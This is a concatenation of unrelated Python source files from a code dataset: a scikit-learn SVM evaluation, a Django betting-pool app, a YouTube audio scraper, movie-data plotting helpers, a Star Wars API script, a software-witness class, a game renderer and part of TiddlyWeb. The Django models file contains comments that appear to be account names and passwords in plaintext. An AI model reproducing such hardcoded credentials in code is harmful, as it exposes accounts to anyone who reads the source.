ON SMOTE TRAINING DATA\n\nclf_smote = SVC(class_weight='balanced', kernel='rbf', C=5, gamma=0.3)\n\nclf_smote = clf_smote.fit(X_train_smote, Y_train_smote)\ny_pred_train_smote = clf_smote.predict(X_train)\n\nprint('Training accuracy with SMOTE:', accuracy_score(Y_train, y_pred_train_smote))\n#0.8657\n\nprint(classification_report(Y_train, y_pred_train_smote, target_names=target_names))\n\n# TESTING ON TEST SET - FINAL RESULTS \n\ny_pred_test_smote = clf_smote.predict(X_test)\n\nprint('Testing accuracy with SMOTE:', accuracy_score(Y_test, y_pred_test_smote))\n#0.7796\n\nprint(classification_report(Y_test, y_pred_test_smote, target_names=target_names))\n\n# *** Evaluation charts: using SVM RBF KERNEL, C = 5, GAMMA = 0.3 ***\n\n# *** CONFUSION MATRIX ***\n\ncm = confusion_matrix(Y_test, y_pred_test_smote)\n\ntarget_namescm=['NF', 'FNR', 'F']\n\ndef plot_confusion_matrix(cm, title='Confusion matrix', cmap=plt.cm.Blues):\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(target_namescm))\n plt.xticks(tick_marks, target_namescm, rotation=45)\n plt.yticks(tick_marks, target_namescm)\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n# percentage of true label classified as predicted label\n\nplot_confusion_matrix((1.*cm.T/np.sum(cm,axis=1)).T, 'Confusion Matrix: Test Set')\n\n#Learning curve and ROC curves adapted from sklearn documentation\n#http://scikit-learn.org/stable/auto_examples/model_selection/plot_roc.html\n#http://scikit-learn.org/stable/auto_examples/model_selection/plot_learning_curve.html\n\n\n# *** LEARNING CURVE ***\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n\n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\nplot_learning_curve(clf_smote, 'Learning Curves(SVM, RBF Kernel, C=5, $\\gamma=0.3$)',\n X_train_smote, Y_train_smote, (0.5, 1.01), n_jobs=1)\n\n# *** ROC CURVE ***\n\nY_test = label_binarize(Y_test, classes=[0, 1, 2])\ny_pred_test_smote = label_binarize(y_pred_test_smote, classes=[0, 1, 2])\nn_classes = Y_test.shape[1]\n\nfpr = dict()\ntpr = dict()\nroc_auc = dict()\nfor i in range(n_classes):\n fpr[i], tpr[i], _ = roc_curve(Y_test[:, i], y_pred_test_smote[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n\nfpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(Y_test.ravel(), y_pred_test_smote.ravel())\nroc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n# First aggregate all false positive rates\nall_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))\n\n# Then interpolate all ROC curves at this points\nmean_tpr = np.zeros_like(all_fpr)\nfor i in range(n_classes):\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\n# Finally average it and compute AUC\nmean_tpr /= n_classes\n\nfpr[\"macro\"] = all_fpr\ntpr[\"macro\"] = mean_tpr\nroc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n# Plot all ROC curves\nplt.figure(figsize=(10,5))\n\nplt.plot(fpr[\"micro\"], tpr[\"micro\"],\n label='micro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"micro\"]),\n linewidth=2)\n\nplt.plot(fpr[\"macro\"], tpr[\"macro\"],\n label='macro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"macro\"]),\n linewidth=2)\n\nfor i in range(n_classes):\n plt.plot(fpr[i], tpr[i], label='ROC curve of class {0} (area = {1:0.2f})'\n ''.format(i, roc_auc[i]))\n\nplt.plot([0, 1], [0, 1], 'k--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Multi-class Receiver operating characteristic')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n","sub_path":"SVM_final.py","file_name":"SVM_final.py","file_ext":"py","file_size_in_byte":7806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"184603062","text":"from django.db import models\n\nfrom django.contrib.auth.models import User\n\nfrom django.core.exceptions import ValidationError\n\nfrom datetime import datetime\n\nfrom django.db.models import Sum\n\n\n#admin\n#snhbolao\n\n#eriton\n#copa2018\n\ndef gv(valor):\n if valor:\n return valor\n else:\n return 0\n\n\nclass Manutencao(models.Model):\n\n em_manutencao = models.BooleanField(default=False)\n\n class Meta:\n verbose_name = u'Manuteção'\n verbose_name_plural = u'Manuteção'\n\n def __unicode__(self):\n return u'{}'.format(self.em_manutencao)\n\n def __str__(self):\n return u'{}'.format(self.em_manutencao)\n\n\nclass Jogo(models.Model):\n\n descricao = models.CharField(verbose_name=u'Descrição', max_length=255, null=True, blank=True)\n selecao_1 = models.CharField(verbose_name=u'Seleção 1', max_length=255)\n selecao_2 = models.CharField(verbose_name=u'Seleção 2', max_length=255)\n data_hora = models.DateTimeField(verbose_name=u'Data/Hora', null=True, blank=True)\n gols_selecao_1 = models.PositiveIntegerField(verbose_name=u'Gols da Seleção 1', null=True, blank=True)\n gols_selecao_2 = models.PositiveIntegerField(verbose_name=u'Gols da Seleção 2', null=True, blank=True)\n aposta_fechada = models.BooleanField(default=False)\n jogo_finalizado = models.BooleanField(default=False)\n\n vencedor_pp = models.PositiveIntegerField(verbose_name=u'Vencedor em caso de prorrogação/penalti', null=True,\n blank=True)\n\n class Meta:\n ordering = ['-data_hora']\n verbose_name = u'Jogo'\n verbose_name_plural = u'Jogos'\n\n def __unicode__(self):\n return u'{} x {} - {}'.format(self.selecao_1, self.selecao_2, self.data_hora)\n\n def __str__(self):\n return u'{} x {} - {}'.format(self.selecao_1, self.selecao_2, self.data_hora)\n\n def clean(self):\n if (not self.data_hora):\n raise ValidationError('Data e hora é obrigatório')\n\n\n\nclass Apostador(models.Model):\n\n usuario = models.ForeignKey(User, verbose_name=u'Apostador', on_delete=models.PROTECT)\n\n total_pontos_primeira_fase = models.PositiveIntegerField(verbose_name=u'Total de Pontos - Primeira Fase', null=True, blank=True)\n posicao_primeira_fase = models.PositiveIntegerField(verbose_name=u'Posição - Primeira Fase', null=True, blank=True)\n\n total_pontos = models.PositiveIntegerField(verbose_name=u'Total de Pontos', null=True, blank=True)\n posicao = models.PositiveIntegerField(verbose_name=u'Posição', null=True, blank=True)\n\n class Meta:\n verbose_name = u'Apostador'\n verbose_name_plural = u'Apostadores'\n\n def __unicode__(self):\n return u'Apostador {}'.format(self.usuario)\n\n def __str__(self):\n return u'Apostador {}'.format(self.usuario)\n\n @property\n def apostas(self):\n return Aposta.objects.filter(apostador__usuario=self.usuario).order_by('jogo__data_hora')\n\n @staticmethod\n def fechar_apostas():\n # fecha apostas\n apostas_todas = Aposta.objects.all()\n for aposta in apostas_todas:\n if aposta.jogo.data_hora >= datetime.today():\n jogo = aposta.jogo\n jogo.aposta_fechada = False\n jogo.save()\n else:\n jogo = aposta.jogo\n jogo.aposta_fechada = True\n jogo.save()\n\n @staticmethod\n def processar():\n\n # gera apostas com jogos que o apostador ainda nao tem\n # atualiza os jogos de cada apostador\n apostadores = Apostador.objects.filter(usuario__is_superuser=False)\n for apostador in apostadores:\n # pegando os jogos que nao existem ainda para apostador\n jogos = Jogo.objects.exclude(pk__in=apostador.aposta_set.all().values_list('jogo__id', flat=True))\n for jogo in jogos:\n # insere os jogos que o apostador nao tem\n aposta = Aposta()\n aposta.apostador = apostador\n aposta.jogo = jogo\n aposta.save()\n\n\n # fecha apostas e reseta pontos\n apostas_todas = Aposta.objects.all()\n for aposta in apostas_todas:\n aposta.total_pontos = 0\n aposta.save()\n aposta.apostador.total_pontos=0\n aposta.apostador.save()\n if aposta.jogo.data_hora >= datetime.today():\n jogo = aposta.jogo\n jogo.aposta_fechada = False\n jogo.save()\n else:\n jogo = aposta.jogo\n jogo.aposta_fechada = True\n jogo.save()\n\n #calcula pontos obtidos em cada aposta\n apostas_calcular = Aposta.objects.filter(jogo__jogo_finalizado=True)\n for aposta in apostas_calcular:\n pontuou = False\n\n if not (aposta.gols_selecao_1 is None and aposta.gols_selecao_2 is None):\n # 1) Acertando o resultado (vencedor) e o placar exato do jogo: 18 pontos\n if aposta.gols_selecao_1 == aposta.jogo.gols_selecao_1 \\\n and aposta.gols_selecao_2 == aposta.jogo.gols_selecao_2:\n aposta.total_pontos = 18\n aposta.save()\n pontuou = True\n\n # 2) Acertando o time vencedor e o número de gols de um dos times: 12 pontos\n if not pontuou:\n #time vencedor\n acertou_vencedor = False\n\n if aposta.jogo.gols_selecao_1 > aposta.jogo.gols_selecao_2 and aposta.gols_selecao_1 > aposta.gols_selecao_2:\n #vencedor foi a seleca 1\n acertou_vencedor = True\n\n if aposta.jogo.gols_selecao_2 > aposta.jogo.gols_selecao_1 and aposta.gols_selecao_2 > aposta.gols_selecao_1:\n #vencedor foi a seleca 1\n acertou_vencedor = True\n\n #placar de um dos dois\n acertou_um_dos_placares = False\n if aposta.jogo.gols_selecao_1 == aposta.gols_selecao_1 or aposta.jogo.gols_selecao_2 == aposta.gols_selecao_2:\n acertou_um_dos_placares = True\n\n if acertou_vencedor and acertou_um_dos_placares:\n aposta.total_pontos = 12\n aposta.save()\n pontuou = True\n\n # 3) Acertando apenas o resultado (vencedor) do jogo (não o placar): 9 pontos\n if not pontuou:\n #time vencedor\n acertou_vencedor = False\n if aposta.jogo.gols_selecao_1 > aposta.jogo.gols_selecao_2 and aposta.gols_selecao_1 > aposta.gols_selecao_2:\n #vencedor foi a seleca 1\n acertou_vencedor = True\n\n if aposta.jogo.gols_selecao_2 > aposta.jogo.gols_selecao_1 and aposta.gols_selecao_2 > aposta.gols_selecao_1:\n #vencedor foi a seleca 1\n acertou_vencedor = True\n\n if acertou_vencedor:\n aposta.total_pontos = 9\n aposta.save()\n pontuou = True\n\n # 4) Acertando o número de gols de um dos times: 3 pontos\n if not pontuou:\n #placar de um dos dois\n acertou_um_dos_placares = False\n if aposta.jogo.gols_selecao_1 == aposta.gols_selecao_1 or aposta.jogo.gols_selecao_2 == aposta.gols_selecao_2:\n acertou_um_dos_placares = True\n\n if acertou_um_dos_placares:\n aposta.total_pontos = 3\n aposta.save()\n\n # 5) Se jogo foi para prorrogacao (cumulativo com os outros pontos)\n if aposta.jogo.vencedor_pp:\n if aposta.jogo.vencedor_pp == aposta.vencedor_pp:\n aposta.total_pontos = aposta.total_pontos + 15\n aposta.save()\n\n #calcula o total de pontos de cada apostador\n apostadores = Apostador.objects.all()\n for apostador in apostadores:\n total_pontos = Aposta.objects.filter(apostador__usuario=apostador.usuario).aggregate(p=Sum('total_pontos'))\n total_pontos = gv(total_pontos.get('p'))\n apostador.total_pontos = total_pontos\n apostador.save()\n\n #atualiza a posicao\n apostadores = Apostador.objects.order_by('-total_pontos')\n posicao = 1\n for apostador in apostadores:\n apostador.posicao = posicao\n apostador.save()\n posicao = posicao + 1\n\n\n\nclass Aposta(models.Model):\n\n apostador = models.ForeignKey(Apostador, verbose_name=u'Apostador', on_delete=models.PROTECT)\n jogo = models.ForeignKey(Jogo, verbose_name=u'Jogo', on_delete=models.PROTECT)\n gols_selecao_1 = models.PositiveIntegerField(verbose_name=u'Gols da Seleção 1', null=True, blank=True)\n gols_selecao_2 = models.PositiveIntegerField(verbose_name=u'Gols da Seleção 2', null=True, blank=True)\n vencedor_pp = models.PositiveIntegerField(verbose_name=u'Vencedor em caso de prorrogação/penalti', null=True, blank=True)\n total_pontos = models.PositiveIntegerField(verbose_name=u'Total de Pontos', null=True, blank=True)\n\n class Meta:\n verbose_name = u'Aposta'\n verbose_name_plural = u'Apostas'\n\n def __unicode__(self):\n return u'Aposta de {} - {}'.format(self.apostador, self.jogo)\n\n def __str__(self):\n return u'Aposta {} - {}'.format(self.apostador, self.jogo)\n\n\"\"\"\n\n\"\"\"","sub_path":"copa2018/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"575845012","text":"import pytube\nimport os\n\nif __name__ == '__main__':\n\n print(len(links))\n unique = set()\n for x in links:\n unique.add(x)\n print(len(unique))\n\n singer_dir = 'gdrive/My Drive/mp3_singers/'\n\n for idx, link in enumerate(unique):\n print(\"Processing song %i\" % idx)\n full_link = yt_string_prefix + link\n yt = pytube.YouTube(full_link)\n file_base = 'track_{}'.format(idx)\n yt.streams.filter(only_audio=True).first().download(singer_dir, filename=file_base)\n\n out_f = 'gdrive/My\\\\ Drive/mp3_singers/{}'.format(file_base)\n\n os.system('ffmpeg -i {}.mp4 {}.mp3'.format(out_f, out_f))\n os.system('rm {}.mp4'.format(out_f))\n","sub_path":"data_acquisition/scrape_yt.py","file_name":"scrape_yt.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"133461616","text":"import pandas as pd\r\nimport numpy as np\r\nimport json\r\nimport preprocess \r\n\r\n\r\ndef fetchCircularBiPlotData(chart_type, type_to_display):\r\n\tdata = pd.read_csv(\"movie_data.csv\")\r\n\t\r\n\tprint(\"We're in func lib and seeing\")\r\n\tprint(ALL_GENRES)\r\n\t\r\n\tif type_to_display == 'CONSOLIDATED': \r\n\t\t\r\n\t\tGENRE_BUDGETS = []\r\n\t\tGENRE_REVENUES = []\r\n\r\n\t\tfor genre in ALL_GENRES:\r\n\t\t\tmovies_in_genre = GENRE_MOVIE_MAPPER[genre] # This list stores all the movies for the particular genre\r\n\r\n\t\t\tfor movie in movies_in_genre: \r\n\t\t\t\tmovie_details = MOVIE_DETAILS_MAPPER[movie]\r\n\t\t\t\tbudget = movie_details[budget]\r\n\t\t\t\trevenue = movie_details[revenue]\r\n\t\t\t\t'''WORKING'''\r\n\r\n\treturn data\r\n\r\ndef get_rb_ratio(row):\r\n\t# print(row)\r\n\t# ratio = float(row[3])/int(row[2])\r\n\tratio = row\r\n\tif ratio >4:\r\n\t\treturn 3\r\n\tif ratio >1.5:\r\n\t\treturn 2\r\n\telse:\r\n\t\treturn 1\r\n\r\ndef fetchScatterPlotData(chart_type, type_to_display):\r\n\r\n\tdata = MOVIES_DF\r\n\tif type_to_display.upper() != 'CONSOLIDATED':\r\n\t\t# find movie list on that genre\r\n\t\t# filter data['name'] on that list\r\n\t\tdata = data[data.name.isin(GENRE_MOVIE_MAPPER[type_to_display])]\r\n\r\n\tdata['rb_ratio'] = data['revenue'] / data['budget']\r\n\t# data['rb_ratio'] = data['rb_ratio'].astype(int)\r\n\tdata['rb_ratio'] = data['rb_ratio'].apply(get_rb_ratio)\r\n\r\n\treturn data[data['budget'] > 5].head(400)\r\n\r\n\r\ndef fetchBoxPlotData(chart_type, type_to_display):\r\n\t\r\n\tdata = MOVIES_DF\r\n\tdata['year'] = data['release_date'].apply(lambda x: str(x)[:4])\r\n\tif type_to_display.upper() != 'CONSOLIDATED':\r\n\t\tprint(type_to_display)\r\n\t\tprint(GENRE_MOVIE_MAPPER.keys())\r\n\t\tprint(GENRE_MOVIE_MAPPER[type_to_display][:10])\r\n\t\tprint(\"============================\")\r\n\t\tdata = data[data.name.isin(GENRE_MOVIE_MAPPER[type_to_display])]\r\n\t\r\n\tyear_dict_0 = {}\r\n\tyear_dict_0['2011'] = list(data[data['year'] == '2011']['popularity'])[:100]\r\n\tyear_dict_0['2012'] = list(data[data['year'] == '2012']['popularity'])[:100]\r\n\tyear_dict_0['2013'] = list(data[data['year'] == '2013']['popularity'])[:100]\r\n\tyear_dict_0['2014'] = list(data[data['year'] == '2014']['popularity'])[:100]\r\n\tyear_dict_0['2015'] = list(data[data['year'] == '2015']['popularity'])[:100]\r\n\r\n\tyear_dict_1 = {}\r\n\tyear_dict_1['2011'] = list(data[data['year'] == '2011']['runtime'])[:100]\r\n\tyear_dict_1['2012'] = list(data[data['year'] == '2012']['runtime'])[:100]\r\n\tyear_dict_1['2013'] = list(data[data['year'] == '2013']['runtime'])[:100]\r\n\tyear_dict_1['2014'] = list(data[data['year'] == '2014']['runtime'])[:100]\r\n\tyear_dict_1['2015'] = list(data[data['year'] == '2015']['runtime'])[:100]\r\n\r\n\treturn [year_dict_0, year_dict_1]\r\n\r\ndef fetchParallelPlotData(chart_type, type_to_display):\r\n\t\r\n\tcolumns = ['name','year','budget','revenue','profit','runtime','popularity']#,'no_production_companies',]\r\n\tdata = MOVIES_DF[columns]\r\n\t\r\n\r\n\tif type_to_display.upper() != 'CONSOLIDATED':\r\n\t\tdata = data[data.name.isin(GENRE_MOVIE_MAPPER[type_to_display])][columns]\r\n\t\tdata = data[(data['year'] > '2010') & (data['year'] <= '2015')]\r\n\t\t\r\n\telse:\r\n\t\tdata = PARALLEL_DF\r\n\t\r\n\t# sample data on a strategy\r\n\treturn data.head(100)\r\n\r\ndef driver_fetch_data(chart_type, type_to_display):\r\n\t'''\r\n\tThis method is the driver function to fetch data for any specific chart type for any data. \r\n\t\r\n\tInput:\r\n\t\tchart_type:\r\n\t\t\tA string keyword which mentions the type of chart to be displayed and therefore allows us to know \r\n\t\t\twhich method to call to retrieve appropriate data.\r\n\t\ttype_to_display: \r\n\t\t\ttype_to_display - A string keyword that is used to specify what kind of data is to be \r\n\t\t\tdisplayed in the graph. \r\n\t\t\tValues could be 'CONSOLIDATED' or the name of the genre.\r\n\tOutput:\r\n\t\tIf 'type_to_display' is CONSOLIDATED, we send the aggregated budget/revenue across all\r\n\t\tavailable genres.\r\n\t\tIf 'type_to_display' is the name of the genre, we send the [1-10, 45-55, 90-100] ranged \r\n\t\tvalues in revenue/budget sorted list. \r\n\t''' \r\n\tmethod_mapper_dict = {\"circular_biplot\": \"fetchCircularBiPlotData(chart_type, type_to_display)\", \"scatterplot\": \"fetchScatterPlotData(chart_type, type_to_display)\",\r\n\t\t\t\t\t\t\t\"barplot\": \"fetchBarPlotData(chart_type, type_to_display)\", \"boxplot\": \"fetchBoxPlotData(chart_type, type_to_display)\",}\r\n\r\n\tmethod_name = method_mapper_dict[chart_type] # chart_Type = circ bi pplot the nmethod_name will be fetchCircular\r\n\tresult = eval(method_name)\r\n\r\n\treturn result\r\n\r\n\r\ndef initialize_global_vars():\r\n\tprint('Initializing =================')\r\n\tglobal ALL_GENRES \r\n\tglobal GENRE_MOVIE_MAPPER\r\n\tglobal MOVIE_DETAILS_MAPPER\r\n\tglobal MOVIES_DF\r\n\tglobal PARALLEL_DF\r\n\t\r\n\tpreprocess.preprocess_data()\r\n\r\n\tALL_GENRES = preprocess.ALL_GENRES\r\n\tGENRE_MOVIE_MAPPER = preprocess.GENRE_MOVIE_MAPPER\r\n\tMOVIE_DETAILS_MAPPER = preprocess.MOVIE_DETAILS_MAPPER\r\n\tMOVIES_DF = preprocess.MOVIES_DF\r\n\tPARALLEL_DF = preprocess.PARALLEL_DF\r\n\t\r\n\tglobal BUDGETS\r\n\tglobal REVENUES \r\n\r\n\tBUDGETS = {}\r\n\tREVENUES = {}\r\n\r\n\tfor genre in ALL_GENRES:\r\n\t\tBUDGETS[genre] = 0\r\n\t\tREVENUES[genre] = 0\r\n","sub_path":"functions_library.py","file_name":"functions_library.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"427350995","text":"import json\r\nimport requests\r\nimport random\r\n\r\ndef get_carter_by_id(id):\r\n respuesta = requests.get('https://swapi.dev/api/people/'+str(id))\r\n if respuesta.status_code == 200:\r\n dic = json.loads(respuesta.text)\r\n return dic\r\n\r\n\r\ndef get_random_character():\r\n randomCharacterId = random.randrange(1, 82, 2)\r\n character = get_carter_by_id(randomCharacterId)\r\n return character\r\n\r\ndef main():\r\n personaje1 = get_random_character()\r\n personaje2 = get_random_character()\r\n\r\n beenInMoreMovies = personaje1 if len(personaje1['films']) > len(personaje2['films']) else personaje2\r\n\r\n\r\n print('El que estuvo en mas peliculas es: ' + str(beenInMoreMovies.get('name')))\r\n \r\nmain()","sub_path":"Python/parcial programacion/actividad-1-C.py","file_name":"actividad-1-C.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"195166392","text":"# This file is part of sv-witnesses repository: https://github.com/sosy-lab/sv-witnesses\n#\n# SPDX-FileCopyrightText: 2020 Dirk Beyer \n#\n# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nThis module contains a class for representing witnesses for a linter.\n\"\"\"\n\nimport gzip\nimport re\n\nDATA = \"data\"\nDEFAULT = \"default\"\nKEY = \"key\"\nNODE = \"node\"\nEDGE = \"edge\"\nGRAPH = \"graph\"\nGRAPHML = \"graphml\"\n\nWITNESS_TYPE = \"witness-type\"\nSOURCECODELANG = \"sourcecodelang\"\nPRODUCER = \"producer\"\nSPECIFICATION = \"specification\"\nPROGRAMFILE = \"programfile\"\nPROGRAMHASH = \"programhash\"\nARCHITECTURE = \"architecture\"\nCREATIONTIME = \"creationtime\"\nENTRY = \"entry\"\nSINK = \"sink\"\nVIOLATION = \"violation\"\nINVARIANT = \"invariant\"\nINVARIANT_SCOPE = \"invariant.scope\"\nCYCLEHEAD = \"cyclehead\"\nASSUMPTION = \"assumption\"\nASSUMPTION_SCOPE = \"assumption.scope\"\nASSUMPTION_RESULTFUNCTION = \"assumption.resultfunction\"\nCONTROL = \"control\"\nSTARTLINE = \"startline\"\nENDLINE = \"endline\"\nSTARTOFFSET = \"startoffset\"\nENDOFFSET = \"endoffset\"\nENTERLOOPHEAD = \"enterLoopHead\"\nENTERFUNCTION = \"enterFunction\"\nRETURNFROMFUNCTION = \"returnFromFunction\"\nTHREADID = \"threadId\"\nCREATETHREAD = \"createThread\"\n\nCOMMON_KEYS = {\n WITNESS_TYPE: GRAPH,\n SOURCECODELANG: GRAPH,\n PRODUCER: GRAPH,\n SPECIFICATION: GRAPH,\n PROGRAMFILE: GRAPH,\n PROGRAMHASH: GRAPH,\n ARCHITECTURE: GRAPH,\n CREATIONTIME: GRAPH,\n ENTRY: NODE,\n SINK: NODE,\n VIOLATION: NODE,\n INVARIANT: NODE,\n INVARIANT_SCOPE: NODE,\n CYCLEHEAD: NODE,\n ASSUMPTION: EDGE,\n ASSUMPTION_SCOPE: EDGE,\n ASSUMPTION_RESULTFUNCTION: EDGE,\n CONTROL: EDGE,\n STARTLINE: EDGE,\n ENDLINE: EDGE,\n STARTOFFSET: EDGE,\n ENDOFFSET: EDGE,\n ENTERLOOPHEAD: EDGE,\n ENTERFUNCTION: EDGE,\n RETURNFROMFUNCTION: EDGE,\n THREADID: EDGE,\n CREATETHREAD: EDGE,\n}\n\nTERMINATION_PROPERTY_PATTERN = (\n r\"CHECK[(]\\s*init[(]\\s*\\w+[(][)]\\s*[)]\\s*,\\s*LTL[(]\\s*F\\s+end\\s*[)]\\s*[)]\"\n)\n\n\nclass Witness:\n def __init__(self, witness_file):\n self.witness_file = witness_file\n with gzip.open(witness_file) as unzipped_witness:\n try:\n unzipped_witness.read(1)\n zipped = True\n except OSError:\n zipped = False\n if zipped:\n self.witness_file = gzip.open(witness_file)\n self.witness_type = None\n self.sourcecodelang = None\n self.producer = None\n self.specifications = set()\n self.programfile = None\n self.programhash = None\n self.architecture = None\n self.creationtime = None\n self.entry_node = None\n self.cyclehead = None\n self.node_ids = set()\n self.sink_nodes = set()\n self.defined_keys = {}\n self.used_keys = set()\n self.threads = {}\n self.transition_sources = set()\n self.transitions = {}\n\n def is_termination_witness(self):\n if self.cyclehead is not None:\n return True\n termination_pattern = re.compile(TERMINATION_PROPERTY_PATTERN)\n for spec in self.specifications:\n if re.match(termination_pattern, spec):\n return True\n return False\n\n def show_witness_data(self):\n info = \"Overview of checked witness:\\n\"\n info += \"Witness File: {}\\n\".format(self.witness_file)\n info += \"Witness Type: {}\\n\".format(self.witness_type)\n info += \"Producer: {}\\n\".format(self.producer)\n info += \"Creation Time: {}\\n\".format(self.creationtime)\n info += \"Architecture: {}\\n\".format(self.architecture)\n info += \"Program File: {}\\n\".format(self.programfile)\n info += \"Program Hash: {}\\n\".format(self.programhash)\n info += \"Source-Code Language: {}\\n\".format(self.sourcecodelang)\n print(info)\n","sub_path":"lint/witnesslint/witness.py","file_name":"witness.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"485545675","text":"from pathlib import Path\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.colors import ListedColormap\r\nfrom tqdm import tqdm\r\n\r\nfrom environments.spe_ed import SavedGame\r\n\r\ncell_size = 16\r\n\r\ncmap = ListedColormap(\r\n [\r\n (0.0, 0.0, 0.0, 1.0), # Collision - black\r\n (1.0, 1.0, 1.0, 0.0), # Background - white\r\n (0.7, 0.7, 0.7, 1.0), # Player 1\r\n (0.6, 0.6, 0.6, 1.0), # Player 2\r\n (0.5, 0.5, 0.5, 1.0), # Player 3\r\n (0.4, 0.4, 0.4, 1.0), # Player 4\r\n (0.3, 0.3, 0.3, 1.0), # Player 5\r\n (0.2, 0.2, 0.2, 1.0), # Player 6\r\n ]\r\n)\r\n\r\n\r\ndef render_logfile(log_file, render_dir):\r\n \"\"\"Render logfile to mp4.\r\n\r\n Resulting .mp4 is placed alongside the .json file.\r\n\r\n Args:\r\n log_file: Log file to render.\r\n fps: FPS of generated video.\r\n silent: Show no progress bar.\r\n \"\"\"\r\n from visualization import Spe_edAx\r\n\r\n render_dir.mkdir(exist_ok=True)\r\n\r\n game = SavedGame.load(log_file)\r\n game.move_controlled_player_to_front()\r\n\r\n fig = plt.figure(figsize=(game.width * cell_size / 100, game.height * cell_size / 100), dpi=100)\r\n\r\n ax = plt.subplot(1, 1, 1)\r\n ax.axis('off')\r\n viewer = Spe_edAx(fig, ax, game.cell_states[0], game.player_states[0], cmap=cmap)\r\n plt.tight_layout(pad=0)\r\n\r\n for i in tqdm(range(len(game.cell_states)), desc=f\"Rendering {log_file.name}\"):\r\n viewer.update(game.cell_states[i], game.player_states[i])\r\n fig.canvas.draw()\r\n\r\n plt.savefig(render_dir / f\"{i:04}.png\", transparent=True)\r\n\r\n # Cleanup\r\n plt.close(fig)\r\n\r\n\r\nrender_logfile(\r\n log_file=Path(r\"F:\\spe_ed\\logs\\20210117-234331.json\"),\r\n render_dir=Path(r\"F:/spe_ed2/render/20210117-234331\"),\r\n)\r\n","sub_path":"tool_render_sequence.py","file_name":"tool_render_sequence.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"305926283","text":"\"\"\"\nRoutines that integrate the basic object classes.\n\nThings like loading up all the tiddlers in a recipe,\nlisting tiddlers in a bag, and filtering tiddlers.\n\nThese are kept in here to avoid a having store\nand serialize objects in filters and recipes and the\nlike.\n\"\"\"\n\nfrom tiddlyweb.model.bag import Bag\nfrom tiddlyweb.filters import parse_for_filters, recursive_filter\nfrom tiddlyweb.serializer import TiddlerFormatError\nfrom tiddlyweb.store import NoBagError\n\n\ndef get_tiddlers_from_recipe(recipe, environ=None):\n \"\"\"\n Return the list of tiddlers that result\n from processing the recipe.\n\n This list of tiddlers is unique by title with\n tiddlers later in the recipe taking precedence\n over those earlier in the recipe.\n \"\"\"\n\n template = _recipe_template(environ)\n store = recipe.store\n uniquifier = {}\n for bag, filter_string in recipe.get_recipe(template):\n if isinstance(bag, basestring):\n bag = Bag(name=bag)\n if store:\n bag.skinny = True\n bag = store.get(bag)\n for tiddler in filter_tiddlers_from_bag(bag, filter_string):\n uniquifier[tiddler.title] = tiddler\n return uniquifier.values()\n\n\ndef determine_tiddler_bag_from_recipe(recipe, tiddler, environ=None):\n \"\"\"\n We have a recipe and a tiddler. We need to\n know the bag in which this tiddler can be found.\n This is different from determine_bag_for_tiddler().\n That one finds the bag the tiddler _could_ be in.\n This is the bag the tiddler _is_ in.\n\n We reverse the recipe_list, and filter each bag\n according to the rule. Then we look in the list of\n tiddlers and see if ours is in there.\n \"\"\"\n store = recipe.store\n template = _recipe_template(environ)\n for bag, filter_string in reversed(recipe.get_recipe(template)):\n if isinstance(bag, basestring):\n bag = Bag(name=bag)\n if store:\n bag = store.get(bag)\n # If there is a filter_string then we need to load the tiddlers off\n # the store. If there's not, then we can just use the list that is\n # already in the bag, saving a bit of time.\n if filter_string:\n for candidate_tiddler in filter_tiddlers_from_bag(bag,\n filter_string):\n if tiddler.title == candidate_tiddler.title:\n return bag\n else:\n for candidate_tiddler in bag.gen_tiddlers():\n if tiddler.title == candidate_tiddler.title:\n 